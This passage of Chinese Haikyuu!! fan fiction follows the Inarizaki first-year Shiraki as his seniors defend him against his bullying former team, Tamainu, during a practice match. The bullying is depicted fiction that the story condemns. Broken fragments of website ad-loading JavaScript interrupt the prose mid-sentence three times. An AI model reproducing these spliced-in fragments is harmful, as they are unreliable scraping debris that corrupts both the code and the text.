总不能说是因为那个家伙对别人都是倾向正常的对话与表情,而一旦转头视线对上他,就猛地宛如受惊的兔子、立即躲闪。
闪开就闪开了,却又不全然,傻狍子一般支支吾吾地停在那,试探着又小心翼翼地探出头回来望他。
……更像笨蛋了!!
一直在[盯——]着的宫侑,也就被路过的前辈以‘妨碍训练’的由头抓走,作为免费的劳动力压榨。
听到这,赤木路成察觉不对劲,“所以,侑你竟然没反抗??”
宫侑:“……”
不要在这个时候去捉盲点啊!!
宫治举手,“啊、那个我知道,他不仅没反抗,还……”
“猪治受死——!!”
宫侑一记飞踢物理阻断,赤木路成眼睁睁望着宫治两人扭打一团。
再熟悉不过的场景于排球部上映,现场混乱一团。
一时之间、没人再去挑起刚刚话题,全都光顾着拉架了。
好不容易分开宫侑宫治这两个家伙,同是二年级的正选银岛结四周张望了眼,
“话说…今天这里怎么就我们在,其他人呢?”
“……啊!”
双臂牢牢桎梏着乱动宫侑的尾白阿兰恍然,“我想起来了,下午是和玉犬高中的练习赛,教练和其他人现在应该都在二馆准备,我们也早点过去吧。”
“——玉犬?”
“没听说过欸。”
尾白阿兰挠了挠头,“的确没怎么听说过,好像是京都那边的一所高中,”
“也不知道他们大老远过来做什么……”
“……”
“优生?”
余光瞥到球馆门口,从巴士上下来的熟悉面孔与队服,灰发少年原地怔住,半晌没动。
和他一起布置球馆的理石平介最先察觉他的不对劲,“怎么了?”
白木优生连忙回神,摇头声音渐低,“没、没什么。”
他迅速接上没说完的话,“只是看到了……眼熟的东西。”
“噢……这样。”理石平介不明所以,但还是转到自己最关心的话题,“今天下午这场练习赛真不知道有没有我们上场的机会呢~真期待啊!”
白木优生顿了下,含混道,“应、应该不会吧…毕竟有前辈们在,我们可以在后面看…就很好了。”
理石平介闻言,点了点头,“也是,稻荷崎的正选前辈们才是主力!以后我也一定要成为前辈们那样可靠的人……!”
他后面的话白木优生没再听,只是在偶尔问及他时才勉强支声应答。
玉、玉犬……居然,也来到了这里。
他面色惯来苍白,所以一时之间也看不出其他,但隐蔽处、抱着折叠椅子的手死死扣入其中,指尖因过于用力几无血色。
不被发现,就好。
只要不被注意到……就没问题。
黑须法宗与玉犬高中的教练礼貌性握手,寒暄了两句一起进入二馆。
玉犬的部员也随后跟进。
一入排球馆,错综交杂的脚步声散开,与稻荷崎秩序中不乏自由的严谨不同,来自京都的玉犬氛围自带锐化边缘,不少部员面上透着点倨傲与特有的京都风味。
练习赛出战名单很快公示。
白木优生站在一年级的队尾,他已经能感受到几道目光从进入二馆的瞬间就开始扫视,而后目标直指、直接钉在他身上。
冷静、冷静。
他深呼吸。
已经不再是国中,而且、他现在是稻荷崎的新生。
不会上场,不用面对,只需安安静静的待在最后,等待一切结束就好。
“优生!”理石平介带着些欣喜的声音猝然在耳侧响起,不妙的预感先一步漫上心头。
随着这一声,玉犬队伍里不约而同转来几道目光。
白木优生心底再次漫上想要逃跑的冲动,他握紧掌心,尽力克制、想表现得平常,“怎、怎么了,平介。”
理石平介沉浸在情绪中,没能及时注意他情绪波动。
一手指向出战名单,一手搭在面前之人肩上,他无比高兴道,
“优生!今天的练习赛——你是首发!!”
‘——咔嚓。’
什么东西破碎的声音,彻彻底底。
或许是一颗脆弱的、再禁不起任何打击的心脏。
“啊。”白木优生很慢很慢应了声。
…他该知道的。
视线缓缓抬起,绕过理石平介、绕过黑须法宗、绕过北信介,绕过稻荷崎的无数人,与球网另一侧,对着他、缓缓弯唇,露出不带一丝温度微笑的玉犬二传对上目光。
‘——找到你了。’
他缓慢做出口型。
连带着背后的、熟悉的每一张面孔,齐齐如此。
该来的总会来,怎么逃也逃不掉。
……
“所以,这个‘玉犬高中’为什么突然就来兵库,他们当地的高中也有学园联盟吧?”
“不知道欸,不过我之前好像在哪看过,这所高中似乎是初高中集体升学制,不过他们的国中本部设立在东京,听起来怪奇怪的。”
“说起来,国中玉犬的话,还是东京,总感觉……”
“啊……你这么一说,我好像也有点印象了!”
“我们部内,是不是有个一年级……就是从东京升学来的,好像入部登记表上的国中…就是‘玉犬’?!”
宫侑回到二馆时,从后面听到的就是这么一段无头绪交谈声。
他挑了下眉,并不在意,将视线更多放入球场。
扫了眼、他立刻发现不对劲处。
比分稻荷崎领先,气势也在我方。
但场上,唯有一处异常,那就是……白木优生。
状况看起来…比入部练习赛的那天还要糟糕。
谁又
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
去刺激他了?
“没想到居然从东京逃到了兵库啊,怎么样,在这里也一样捡球?”
“豪门的扣球还扣得下吗?不会感到愧疚吗,国中那个因为接你的球而受伤、甚至不能继续打球的孩子可是在没日没夜地哭泣哦?”
轮换到前排,白木优生咬唇不语,做好自己的本分,拒绝与比赛无关的交际。
“不要这么冷漠嘛,好歹我们也是三年的队友,这次也是专门来找你的啊。”
他微笑着,抛出淬满毒液的橄榄枝,
“回‘玉犬’吧,鬣狗群里少了专门用来追猎的兔子,大家都没以前那么有干劲了~”
“拒绝的话……不要忘了,你才是导致大家不能一起打球的罪魁祸首啊,白木君。”
——你才是一切悲剧的源头,白木优生。
刻在精神上的铭词如水底碑文,渐渐浮现、也愈发清晰。
大脑隐隐抽痛,连带着心脏也刺痛。
好痛苦。
好想逃。
呼吸不过来。
明明、明明已经开始淡忘,已经特意离开喘息。
竟然还被追过来……
明明…好不容易才在这里感受到一点温暖。
难道、就又要回到那种……
“嘀——!!”
尖锐哨声长长响起,球网旁的裁判做了个换人手势。
众人疑惑望去,是占据上风的稻荷崎方提出的。
场侧,穿着7号球衣的金发身影简单做完了热身,沐浴着众人视线随意拉了下手臂,他悠闲开口,
“嗨嗨~看来我来晚了——”
下场的二传与他交接,号码牌交换,高挑身影一步迈入球场。
狐狸眼眯起,宫侑在笑,对着球网另一端捉摸不清情况的玉犬部员,他似乎是思考了下,
“是‘玉犬’……对吧?”
‘玉犬’的二传眯起眼,不轻不重应了声。
“真是厉害呢~”宫侑做着手指操,轻飘飘说着。
然后颀长指节下一秒探出,直接就将球网前低着脸、表情苍白无血色的灰发少年拉到身旁。
他亲亲密密地搭着肩膀,修长眼尾随意瞥过他表情,漫不经心开口,
“哇,乍一听还以为是什么‘丧家之犬’呢!”
“你——!!”
‘玉犬’的部员有冲动的上前一步,被他们的眯眯眼二传拦下,
“哈哈,请问你是……”
宫侑手指卡着下巴,没有回他。
而是低了点头,面朝着白木优生,不满道,
“喂、我说你啊,怎么对着我就哗啦一下一声招呼也不打直接哭下来,现在对着其他人就默默不吭声……欺软怕硬吗?”
承受着精神重压的白木优生被他话一说,顿时卡住。
他想解释,就只得将自己从情绪中勉强抽离,结结巴巴道,“不、不是那样的……”
“——那是哪样?”
白木优生支吾说不出来。
一侧的宫治适时上前解围,“喂侑,还在比赛。”
宫侑:“是是——”
‘玉犬’的眯眯眼二传微笑,视线再度移动、投向好不容易取回些精神气的灰发少年身上。
他保持一定弧度的微笑,又要开口加重。
只不过这次,还没待他话音出口,眼前身影微动。
才上场的人不偏不倚挪了一步。
旁侧、和他除了发型发色不同,其他全都一致的人叹了口气,也随之动了一步。
“——我说,”
宫侑手臂搭在白木优生的肩上,关西腔的尾音绵长又飘忽,捉摸不定,
“……可以别再欺负我们家孩子了吗?”
“就算又呆又傻还迟钝,但是欺负过头了,做前辈的、多少也是会生气的啊——”
软飘飘的尾音落下,只隔着一道球网,倏地、气场变化!
仿若山雨欲来、身处风暴中心,漆黑幕布之上,则是一双双点燃亮起的、属于稻荷之狐的野性兽瞳,
“特意跑到别人家的地盘来欺负别人家的孩子……”
“——好狼狈哦,”
“‘丧家之犬’们~”
8. 第八章
论气人,在稻荷崎,宫侑称第二,就没人敢称第一。
他说话声音不高,但也不低,控制在一个差不多只有网前两队几人能听到的范围。
“这家伙——!”
被挑衅的玉犬显然没几个摁捺得住的,若不是有前排的二传拦着,恐怕已经要翻过球网了。
“嘀——!”
场侧的裁判见状,当即吹哨警告。
宫侑笑眯眯地,表情一派轻松。
他一只手臂搭在白木优生肩上,另一只手朝场侧的裁判摆了摆,体谅般道,
“抱歉抱歉~看来我们的对手今天好像有点兴奋,毕竟第一次来稻荷崎的都这样,可以理解~”
稻荷崎半场已经有人克制不住笑出了声。
落后一个身位的尾白阿兰默默咳了一声。
“好了——废话不多说,”宫侑眼角视线微侧,落在因听到他的话而陷入愣怔的灰发少年脸上,
“再不认真点,就真的要被什么阿猫阿狗随随便便打上门了啊。”
他脸颊转过、面朝球网,微笑。
狭长眼睛眯起,口中一个字接一个字蹦出,
“——真、晦、气。”
“你!!!!”
“——嘀!!”
再一次吹响的尖锐哨声打断口头争锋,宫侑微笑着将沉默不语、闷在那儿的自家攻手推回原位。
“好好——待会我会记得给你传球的,优生同学~”
白木优生眼瞳倏地大睁,他手指紧紧扣在自己掌心,惊疑不定,“不…那、那个……宫侑前辈,我……”
“嘘——”
新上场的二传狭长眼尾瞥过,“难道是对前辈我的传球没有信心吗?”
白木优生哽住,“不、不是这样的!”
他惊慌无比,宫侑是他离开玉犬后遇到的第一个,也是唯一一个愿意关注到他、并且能传出分毫不差堪称天衣无缝的传球的二传。
他比相信自己更加相信面前这位宫侑前辈。
“那就没问题了~”
宫侑笑眯眯,“可别让前辈好不容易说出的话落在地上啊。”
白木优生顿住。
他感受到了一点晦涩难言的压力与沉重的东西。
在微笑着的宫侑面上。
二传骨节分明、颀长的手指在左肩拍了两下,才亲亲热热靠着他的人转头向旁边喊了声,就拿着球去后场准备发球了。
四步跳飘,六步跳发。
玉犬显然不是盲目来的,事先对稻荷崎正选经过一番研究。
“那家伙走了六步……是跳发!”
自由人迅速出声,其他人立即警戒。
网前的宫治叹气,“……就算数了也还差得远呢。”
跨步跳跃、手臂划过空气抡出重重一击,手掌接触球面发出“砰”的一声响。
球附加超强旋转,穿透防守防线,硬生生压着界内猛地弹射而出。
“嘀——!”
稻荷崎发球得分!
玉犬的人久久没能回神。
他们只在录像带与往年的比赛回放中看到过这名新晋正选二传的发挥,而影像记录与现场感知堪称天差地别。
‘不、这种程度……怎么看都超标了吧!?’
玉犬的二传推了下眼镜,按下一个安心的手势。
余光瞥过此刻还在前排、并未轻松许多的灰发少年。
再强又如何。
排球不是一个人的发球比赛,只要一直有弱点存在,就能被嗅觉敏锐的鬣狗咬死不放。
白木优生跟着队内前辈抱头在前。
继一记完美跳发得分后,宫侑又开始了下一个四步跳飘。
跳发与跳飘混合交织,直接将对面的玉犬玩弄在股掌之中。
从对面时不时移到自己面上的视线,白木优生能感知到玉犬还没有放过他。
或许该说、此刻,他就是整个球场上,最拖稻荷崎后腿的人。
……最正确的选项就是将他换下。
只要换下他,稻荷崎的胜利就是囊中之物,也不必被玉犬这样的学校跳脸挑衅,只要一路碾压过去就好了。
他已经十分愧疚。
如果没有来到这里,缀在身后追逐着他的鬣狗就不会进入这片仅属于稻荷之狐的领域,给前辈们造成困扰。
如果他没有……
“喂,”
身侧两身位,同样抱头的宫治眼直视前方,语气不高道,“别露出那种‘要是没有我就好了’的丧气表情。”
白木优生一惊。
宫治:“虽然这话不该我来说,但是……”
他平静望前,深灰色眼瞳中映出一记又一记压着底线得分的发球。
“这样的家伙(对手),我们(稻荷崎)还从来没有放在眼里。”
“……”
“——samu(治)!”
“啊,来了,sumu(侑)!”
双子快攻,灵魂出窍时间差!
随着话音腾出而瞬间变化的动作,近乎片刻、行云流水般的位置交流,每一记球都从预料之外的地方扣下。
稻荷崎的两个双胞胎直接将球网对面的玉犬玩弄得分崩离析。
“再这样下去我们就会……”
“别说了,继续盯紧那个家伙!”
玉犬方休息区,备受打压的攻手愤愤,从始至终保持表情不变的二传深深望了眼稻荷崎方的休息区。
“我们这次的目的……就是彻底击碎他。”
“除了玉犬,任何地方都不能成为他的容身之处!”
“——”
白木优生捏着运动水壶,头顶盖着毛巾。
他对视线十分敏感,能感受到好奇的、试探的、疑惑的……与充满恶意的。
国中三年,他遭受了严重的校园孤立与精神pua。
玉犬国中,东京地区的一所学校,其男排部素来以超强攻击性闻名。
部内指导方针以单点攻核心为主,其他人为辅、配合主攻手发起轮番多次的扫射性进攻。
一度被称为“不要命的家伙”。
但在白木优生国一下时,执行此套方针的老教练因伤病退休,新教练走马上任。
上任第一件事,就是大刀阔斧更改队内核心。
从单点攻的主攻手为核心改为,以同期新晋的……‘二传’为核心。
从那个时候开始,他就再也扣不下任何一球。
在部内,做得最多的就是捡球与打扫球馆,还有……陪练。
“白木,”
面前蹲下一道影子,白木优生倏然回神,慌乱抬起眼,对上的就是北信介的面庞,
“是、是,我在,北前辈。”
“护膝绑好。”
白木优生一顿,点了头,自己听话地重新戴上护膝,刚刚被喊上去时太过慌乱与心神不宁,连护膝也忘了。
北信介看着灰发少年乖乖地做完,蹲在哪里没有立即离开。
长了眼睛的人都能看出玉犬与白木优生之间的微妙氛围。
稻荷崎向来是不插手部内队员的私人纠纷,不捅到明面上,就是私下解决。
所以他只垂下眼,叮嘱道,“不要受伤。”
白木优生呼吸一沉,他含混应了声,“是、是……”
“还有,”北信介站起身,平静望着灰发少年的发顶,
“现在,你是稻荷崎的队员,不用害怕。”
对待怯懦的孩子,可以理性哄劝、可以明晰条例,可以放手让他自己摸索成长。
但唯独不可以恐吓与威胁。
因为他的监护人,会出现在这孩子自由范围边缘的任意之处。
私下解决,即监护人、大前辈们私下协商处理。
可以说他不好、可以指出他的问题,但一声不吭打上门,那就怨不得某些激进手段了。
‘——真是抱歉,我们就是护短了,有什么问题吗?’
就是这样。
“白木——!”
横跨球场划出一道长弧线的排球在话音落下的一瞬当即到达挥臂而出的掌心,手掌触感稳当合适,是几乎完美的扣球点。
在跳起达340cm的高度与空间,对面是足足三人拦防的挡死不放。
玉犬终于攥取到了这个时机,如嗅到血腥气的鬣狗,闻着味就一路狂奔而来。
“不会让你这个胆怯没作为的家伙越过我们去!!”
玉犬的心声似乎叠加响起在耳畔,一声声贬低、一声声斥责,无数的深暗晦涩的言语仿若平地而起的锁链,束缚住他跃向天空的翅膀。
“——放弃吧,你扣不下去的!”
映入翡绿眼瞳中大张的六只掌心仿若扑灭飞鸟的火焰,横亘天空的墙垣。
压迫力张满、朝着艰难冲出束缚的人缠绕而上,淤泥般一点点漫过他的脸颊、死死锁住呼吸的脖颈。
手掌触及排球,扣下的动作被无数向后挣脱的影子拖拽、力道不断削减。
即使再努力,胸膛恶心感直直泛滥,面前更是一张张午夜梦回时惊醒的噩梦面孔,到达指尖的力量被剥削,只剩下最后一丝挣扎向上的求生欲。
六只大掌横成一排的手掌猛地盖下,“磅!”地闷重一声。
从眼角余光,白木优生眼睁睁目睹着那一记来之不易的球从他身侧划下,划出一道落地的弧线。
他在向下坠落。
绝望一点一点溢散。
啊、果然,他还是……
“——还没有结束!”
嘹亮声音响起!
一道人影矫健飞扑,顺滑接起,是三年级的自由人赤木路成!
“攻手,再来一次!”他鱼跃在地、仰起头盯着他喊道。
自由人的使命,为队伍的攻手争取再一次进攻的机会!
“再来一次!白木!!”
遥远的彼方,
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
传来呼唤他姓名的声音。
时间或许在此刻降速、漫长成一个世纪。
上一次、在球场上,被人呼唤扣球……是什么时候?
两年、还是…三年前?
那个时候、扣下球的心情……
稻荷崎全场都在动,后排、前排,自由人、二传,落在对面的玉犬眼中就是全员多发性点位进攻。
“是哪一个、究竟是哪一个?”
玉犬的拦网视线止不住乱飘,视野陷入一片混乱。
还差最后一分,稻荷崎就要以碾压的局数获胜,虽然只是练习赛、但并不代表他们就愿意输得这么狼狈!
一道接一道的身影跃起,灵巧矫健的野狐不断迷惑着感知力挫钝的鬣狗知觉。
“盯紧那个家伙!!”
身后,操盘的二传的声音炸响,如平地一声惊雷,玉犬前排的三人联防视线一划、全数落在完成助跑唰地再度起跳的灰发身影上。
‘什么啊、又是那家伙……’
‘都这个程度了,绝对扣不下啦’
‘毕竟是那个——那个——逃跑的啦’
轻蔑与不屑视线扫过,三二一起跳的高墙再次横亘、严丝合缝挡在重新振翅的飞鸟之上。
宫侑轻哼一声,瞥过克制咬着唇、视线余光却在向他望来的白木优生。
嗨嗨~真是的,总是向前辈撒娇、真是没办法。
——知道你在害怕了,不过面对这样的家伙,总是害怕可说不过去。
——不就是群失了方向的丧家之犬,就让前辈们来拆解这片阻挡你展翅高飞的破墙烂瓦吧~
宫侑微笑,一个大垫步、以一种扭曲自身的姿势举起双手,最大程度稳稳托起那几乎完美一记长传。
二传守则其一,无论何时,都要为攻手传出完美一球!
“——他扣不下去!!”
宫侑说,“他扣得下去。”
二传守则其二,无论面对什么样的困境,首要帮助攻手打破任何阻拦在他面前的高墙!
“去吧!白木——!!”
“最后完美的一球,可就交给你了,一年级的!”
“——嗒。”
手掌接触球面,曾几何时、那是最为美妙的触感与声音。
白木优生能感受自己的身体在颤抖,在战栗,本能在呼唤他扣下这一球,而习惯却在扼杀他的可能性。
他该犹豫、该迟疑的。
“——扣下去,优生!”
并不遥远的另一端、近在眼前触手可及的那一侧,最准确、最精明的指令下达。
宫侑的声音轻飘飘地在耳畔回响。
来自‘二传’,却又不是‘二传’的声音。
没有恶心,没有痛苦。
‘-好开心。’
阴翳的翠眸仿若拨云见日,一点点散去的是绵延多年的潮湿迷茫。
天顶洒下的炽亮灯光,悉数落在那一道腾空跃起的身影之上。
滞空的身躯仿若一张张满的弓弦,劲瘦腰部骤然发力,手臂力道满满堆砌。
可见其上青筋暴突、大张掌心与球面甫一接触,停滞一瞬,几乎是裹挟风声震耳欲聋的轰鸣。
“——砰!”
“——咚!!”
肉眼难以承载的恐怖球速加持下,双色排球呼啸,几乎不辨方向。
裹挟轰然之势正面直冲看似不可破解的三人联防,过强的球势与力道直冲面门,对应的瞳孔震颤不停,因惊惧几乎凝缩成一点。
他们终于想起了,在新教练上任前,在一切未更改前,在白木优生成为冷板凳常驻选手、队内欺凌对象前。
他曾是——玉犬唯一的核心。
被退休的老教练认定为十年来最有天赋的、最能带领众人走向顶峰的——王牌攻手!
束缚飞鸟的锁链寸寸崩解,发出“喀啦喀啦”令人牙酸的声音。
挣扎的过程是痛苦的,飞鸟止不住地在流泪、在折磨,但一切终有时,只有天空是它唯一的归处。
只待——这第一声啼鸣响彻天际!
“——嗨嗨,请用~”
“好好享受前辈们专门为受欺负的可怜后辈留出的甜美胜利果实吧!”
“嘀——!!!”
血点飞溅,痛呼声不歇。
白木优生落地,手指在抽搐。
在他面前,一网之隔,是跪了满地、被一记毫不收力的暴力扣杀正中面门,硬生生打下来的玉犬拦网。
他们仰起头看向他,面上满是惊惧、不可置信。
白木优生缓缓握拳,将所有的颤抖与瑟缩收入掌中。
-他做到了。
-他扣下来了。
“——都说了,不要随便欺负我们家的孩子啊,”
宫侑单臂搭在灰发少年的肩上,转过身、狐狸眼眯起,悠悠哉哉笑道,
“这不就是典型地在自讨苦吃嘛~嗯、狼狈的……小犬君?”
9. 第九章
“嘀——!”
“稻荷崎VS玉犬,2:0胜!”
场侧的记分员向上拨了页记分牌,裁判吹哨宣布最终结果。
稻荷崎半场掀起浪潮,反观之玉犬半场,死一般沉寂。
玉犬的二传眼睛紧盯一网之隔立在那儿的灰发少年,鬣狗般阴毒。
他假意微笑,看起来是想再换上副表情说些什么场面话,但身后突然起了喧闹。
“喂、队长,快来搭把手!!”
“这边这边,流血了,把头抬起来别低着!”
玉犬半场闹哄哄一团,场侧的教练当即站起,望进场内。
白木优生倏然抽离状态,垂在身侧被裹入掌心的手指密密颤抖,是用力太甚的缘故。
……连他这个扣球的人都如此,那被他正面击中的玉犬队员一定更加——
素来被擦得干干净净的地板上,落下几点猩红血渍,滴落其上,显目异常。
那记暴力扣杀直冲面门,即使到达眼前时尽力躲避了,但还是正中鼻梁,砸得人眼冒金星。
而且还不是单中一个、甚至连击旁边的另一拦网,砸到侧脸、硬生生碾压过去。
光是想想都令人头皮发麻。
此刻,两个重伤者都半跪半倒在网下,一个捂着鼻梁,鼻血滴滴答答从手指缝隙溢出滴落,一个摁着脸颊、头止不住发晕,涌过来的玉犬队员各自慌乱。
白木优生眼底映出地上的血迹,身体止不住颤抖,面色肉眼可见愈发苍白。
……又、又是这样。
宫侑的手搭在他的肩上,自然是第一时间察觉他动静。
余光瞥过,身侧人面颊血色一点一点淡去。
白木优生抿紧唇瓣,紧张盯着被拥在正中的玉犬拦网,身体前倾、如果不是有宫侑的手臂压在那儿,估计此刻整个人就要冲上去了。
‘什么啊,到这个时候了居然还在对这种家伙心软。’
宫侑心里不轻不重被蜇了下,微妙地有点不爽。
他不是个愿意受气的性格,自己不爽了,当然就要发泄出来。
选身旁这个家伙……算了,他本来就很可怜了。
而且、又不是这家伙的错,心软哪里有错!
分明就是这群没实力还硬要上门找茬的人的错!
心里自有一番论断,寥寥几个念头闪过就成功调转仇恨对象,宫侑轻哼一声,手臂压得更重,制住白木优生,他随意开口,
“放心放心~打排球可是从来都不会死人的。”
宫治从后面过来,瞥了眼玉犬队员的状况,并不严重。
他给了宫侑一胳膊,“这个时候就别说风凉话了,猪。”
“——哈?”
宫侑正要发怒,北信介带着稻荷崎的几名队员上来,宫侑当即闭麦。
北视线瞥过己方球场,气势镇住不安分的几只狐狸,而后看向玉犬半场,平静开口,
“抱歉,我们的队员没有控制住力气,医务室就在附近,我带你们过去处理。”
捂着流血的鼻子的玉犬拦网一把旁边的人,“我不服!!那家伙明明就是故意——”
北信介无波无澜打断,“稻荷崎的队员不会做出这样卑劣的行为。”
“他不过就是一个才入部的新生,你们就这么相信——?!”
“不然呢,”轻飘飘的男声响起,宫侑实在无趣,无聊瞥了眼他道,“不相信他,难道还相信你?”
他慢悠悠补充道,“拜托——您是哪位啊?”
“……”
“好了,阿侑。”等他说完,北才不轻不淡道了声。
宫侑哼了声撇过头。
队员间的口舌争论与小打小闹自然不适合双方教练下场。
黑须法宗仍安坐在教练席上,他不动、主动来邀请练习赛的玉犬教练也就不能多说什么,只得站在场侧望着场内情形。
事情最终是交由两队队长来解决。
北与玉犬的眯眯眼队长交涉,带他们去往稻荷崎的医务室暂做处理。
路过白木优生,玉犬的二传侧头,似闲聊般道,“看来你找到了一个不错的容身之处啊。”
白木优生低着头,避开对视。
眯眯眼二传继续微笑道,“祝你能长长久久地躲在这里,最好一辈子都不要离……”
“——喂、抬头!”
一只手探过来,温暖的掌心触及下颌,情绪低落的白木优生被这么一打岔,受惊般睁大眼瞳。
宫侑一直站在他身旁,自然那番对话也落进了他的耳朵。
他磨了磨牙,深感身边这家伙真是好脾气。
虽然现在还不明白究竟是发生了什么才会这么一而再再而三容忍着,但这种程度、哪怕是救了全家的命也够了!
颀长骨节分明的手指抵着,白木优生不得不跟着他的力道抬起脸。
宫侑冷哼,颐指气使,“给我回击!”
白木优生:“……”
白木优生:“!”
不、不是,这个、那个……
宫侑:“再这么听下去我就要得高血压了!!”
白木优生耳朵紧张竖起。
他可以接受一切…对他怎样都没有关系,但不能牵扯到旁人、更别提是……唯一发现了他、愿意给他托球、对他释放好意的前辈!
白木优生:“不、不……”
宫侑:“大声点!”
白木优生:“——不、不用你操心!!”
他罕少如此大声说话,一直都是客客气气、怯怯懦懦,生怕吓到谁或是被吓到般。
由此、稻荷崎的人同他说话时也会尊重他、稍缓一些语气或音量。
嗯……除了宫侑。
所以他这么不打招呼突然一吼,旁边正在捏着运动水壶喝水的尾白阿兰猛地被喷了一脸,擦汗的赤木路成和大耳练新奇探过头来。
宫治深深叹息一口气,深感自己今天叹气次数较之先前几乎呈几何倍数增加。
宫侑还觉得不够,拎着兔子后辈的耳朵耳提面命道,“都说兔子急了也咬人,你怎么急了咬人都这么轻啊!你是猪吗!”
白木优生一愣,被宫侑口中一会儿的‘兔子’一会儿的‘猪’绕到。
半晌,他小心翼翼开口,“那、那个…前辈,我是人,来着……”
虽然如果前辈说是‘兔子’还是‘猪’,他都可以接受。
但是,如果可以的话……他还是想做人,嗯!
宫侑:“……”
他哽了下,被笨蛋兔子奇怪角度的回答呛住。
“笨蛋!你这家伙完全就是个笨蛋!!阿治我们完了!!后辈是这样听不懂人话的家伙、稻荷崎的未来一眼就能望得到尽头了!!”
宫治:“……”
喂、你自己撒疯别带上我。
玉犬的二传队长被白木优生骤然一句话定在原地。
他的话没有说完,但现在再想说什么已经没人会去听了。
稻荷崎自成一番融洽氛围,入于其中的白木优生左右都是护短的前辈,肩上还自始至终都搭着只看似随意、实则细微处不断透露出边界感与保护欲的手臂。
‘——真是抱歉呢,这家伙,现在已经是我们这边的人了。’
‘所以——麻烦的小丑角色能早点退场吗?’
森森寒气缭绕的利齿尖锐,据守稻荷之野的御狐垂来轻蔑不屑的扫视,是对食物链下端的生物的天然碾压。
良久,玉犬的二传推了推眼镜,面上、那副维持许久的笑容已然消失不见。
他看着白木优生,面无表情,声音也冷涩晦暗,“白木优生。”
宫侑烦躁,孩子脾气般不耐烦抱怨,“没完了吗,怎么会有这么啰嗦的——”
掌下的身躯微动。
他抱怨的话微停、没全说出口。
白木优生抬起头,不是在他的戏
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
谑玩闹打岔下,也不是在其他人的怂恿下。
出于他自己本身意愿,第一次不是躲避犹疑、而是自己直面。
“你会后悔今天所做的一切。”
玉犬二传威胁,“下一次,不会这么轻易结束。”
“哈——还有什么下不下一次……”
宫侑皱眉出口的话被身侧少年挡在身后,白木优生捏紧掌心,一字一句,
“……我、不、会。”
尽管话语颤涩,但依旧尽力坚定说完,
“就算你们会后悔,我也、绝对不会后悔!”
宫侑挑了下眉,心情微妙在他话语出口后好转些许。
……嘛、这才差不多是稻荷崎的一年级。
耐心等到白木优生说完话、落后一步的北信介适时开口,
“该走了,玉犬的诸位。”
目送北信介宛如押送犯人般呼啦啦送走一队人,场馆内沉寂些的气氛这才活跃起来。
白木优生撑着的一口气等到玉犬的背影消失在场馆门口,猛地就泄了,捏紧的掌心手指颤抖不停、身体也是如此。
他很少与人争论或是大声爆发对话,更别提是对这些盘桓心头数年的阴影。
之前勉强就靠一口气撑着,现在心情骤然平复,眼见着就要软趴趴落下。
“先别动!”
宫侑兀然出声,白木优生一惊,猛地支楞起来,“是、是…怎么了吗?”
他紧张望向面前的狐狸前辈,生怕自己是哪里没有做得尽善尽美。
宫侑从喉间挤出气音,“……你是笨蛋吗。”
白木优生:“欸……欸?”
前辈总是这么说,难道…他真的是笨蛋吗?
“连自己的手受伤了都没有感觉的吗?!”宫侑视线直指他的手掌,表情夸张。
白木优生一愣,旋即低头看去。
攥紧的手指泛红,关节似乎肿起,可能是刚刚没注意的缘故,现在与毫发无损的右手一对比,十分鲜明。
他迟疑,“应、应该没关系吧……”
毕竟他没有感觉很痛,只是看上去凄惨了一些,就算不管…应该也没什么。
“哈——?”
宫侑恶声恶气呵了声,白木优生当即绷住不敢动。
他嗫嚅,“抱、抱歉,前辈。”
“你自己的事,和我道什么歉!”
白木优生余光恂恂望去,金毛狐狸面色发黑,毛绒绒的大尾巴似乎也在迁怒般别到一边。
——看起来完全不像没事的样子啊…
“那、那我现在就去处、处理……”
虽然白木优生不觉得什么,但是为了终止前辈的坏情绪,他愿意顺着去做。
宫侑抱臂,只从鼻孔里哼了一声。
但隐约感觉自己应该是摸到对的顺毛方式,白木优生尝试着向刚刚玉犬与北离开的方向踏出一步。
——可他才将将踏出一步,就被伸来的一只大掌拎着调转方向。
“欸…欸?”白木优生疑惑,头顶缓缓敲出问号。
宫侑表情不好看,“难道你想再和那群家伙面对面吗?”
…如果可以,他当然是不想的。
但是如果能让前辈不那么黑脸的话,他愿意努力尝试……试试。
宫侑:“……”
不消开口,他就能读到面前这家伙心里在想些什么乱七八糟的东西。
什么啊,难道是笨蛋吗。
不耐烦撇过脸,宫侑朝一个方向大喊,
“阿治!你来帮这家伙处理!”
好不容易终于坐下发呆的宫治:“?”
他平心静气反问,“你怎么不去弄。”
宫侑理直气壮:“我才不想帮笨蛋嘞,会让我也变成笨蛋的!”
宫治:“……”
怎么就没有一点点自知之明。
待会儿说你吧你又不高兴,
神金。
10. 第十章
“又是左手?”
“是、是的…”
顶着校医的死亡凝视,白木优生局促搭上手。
“一周内两次因左手受伤进医务室,白木同学,希望这周不会见到你第三次。”校医微笑,加重手中力道。
白木优生默默忍受,右手攥紧紧张搭在膝上,乖乖应声,“是、我会注意的……”
白木优生眼观鼻鼻观心,坐得端正。
而旁边陪同他一起来的理石平介就没有这么好的待遇了。
他此刻只感觉自己仿佛只十万瓦大灯泡,往那一站就‘噌噌’亮起刺眼光线。
同样,另外一个灯泡是二年级的……宫治前辈。
所以——到底为什么医务室会再次刷新出这两位前辈啊?!!
白木优生也想问这个问题。
他微侧过脸,有点紧张、不自觉屏住呼吸。
因为正对他的方向,单手托着脸、反坐在凳子上的宫侑正视线灼灼,直勾勾盯过来。
白木优生向来对投注在自己身上的视线都有些敏感,不太适应地蹙眉,但是因为对方是在意的前辈,所以……没问题。
医务室内很安静,除了校医帮他检查关节发出的摩擦声,就剩浅浅几道呼吸声,此起彼伏均匀响起。
“……之前就想说了,”
宫侑声音响起的突然,在安静室内、极近距离下更具冲击,白木优生条件反射一抖,“是、是!”
宫侑:“……”
他压下脸,脸颊碾着手掌堆出点弧度,闷闷抱怨道,“——难道我会吃人吗?总是这么紧张的话,我也是会很受伤的啊!”
白木优生紧绷,小心翼翼道,“抱、抱歉…前辈,道、道歉有用吗?”
宫侑:“——当然,”
白木优生期待抬眼。
宫侑哼了声,“没有用!”
才竖起的兔子耳朵蔫蔫垂下去了。
胆怯的兔子后辈小小声喃喃,“这、这样啊……”
